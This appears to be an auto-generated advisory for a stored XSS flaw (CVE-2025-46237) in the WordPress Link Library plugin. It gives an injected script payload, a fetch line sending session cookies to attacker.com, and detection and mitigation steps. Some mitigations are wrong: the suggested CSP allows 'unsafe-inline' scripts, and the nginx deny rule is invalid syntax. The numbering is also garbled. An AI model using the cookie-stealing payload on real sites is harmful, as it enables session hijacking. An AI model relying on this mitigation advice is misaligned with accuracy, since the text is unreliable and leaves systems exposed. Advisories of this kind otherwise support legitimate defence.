WordPress, Stored Cross-Site Scripting (XSS), CVE-2025-46237 (Critical)

How the CVE Works:

CVE-2025-46237 is a stored XSS vulnerability in Yannick Lefebvre’s Link Library plugin (versions up to 7.8). Attackers inject malicious JavaScript payloads into input fields (e.g., link s/descriptions), which are improperly neutralized during web page generation. When administrators or users view the compromised links, the script executes in their browser, enabling session hijacking, defacement, or malware delivery. The attack persists due to lack of output encoding and input sanitization in the plugin’s rendering logic.

DailyCVE Form:

Platform: WordPress
Version: ≤7.8
Vulnerability: Stored XSS
Severity: Critical
Date: 04/22/2025

What Undercode Say:

Exploitation:

1. Payload Injection:

<script>alert(document.cookie)</script>

Inserted into vulnerable fields (e.g., `link_name`).

Trigger: Admin views “Links” page, executing the payload.

3. Exfiltrate Sessions:

fetch('https://attacker.com/steal?cookie=' + document.cookie)

Detection:

Manual Review: Check for unsanitized echo/print calls in PHP:
```
<?php echo $_GET['unsafe_input']; ?>
```

Automated Scanning:

wpscan --url TARGET --plugins link-library --enumerate vp

Mitigation:

1. Patch: Update to Link Library >7.8.

2. Sanitization: Use WordPress core functions:

esc_html($input);

3. Content Security Policy (CSP):

Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'

4. WAF Rules: Block HTML/JS patterns in input:

location ~ .php$ { deny ~<script; }

Post-Exploit Analysis:

Log Review:
```
grep -r "eval(" /var/log/httpd/
```

Database Cleanup:

UPDATE wp_links SET link_name = REPLACE(link_name, '<script>', '');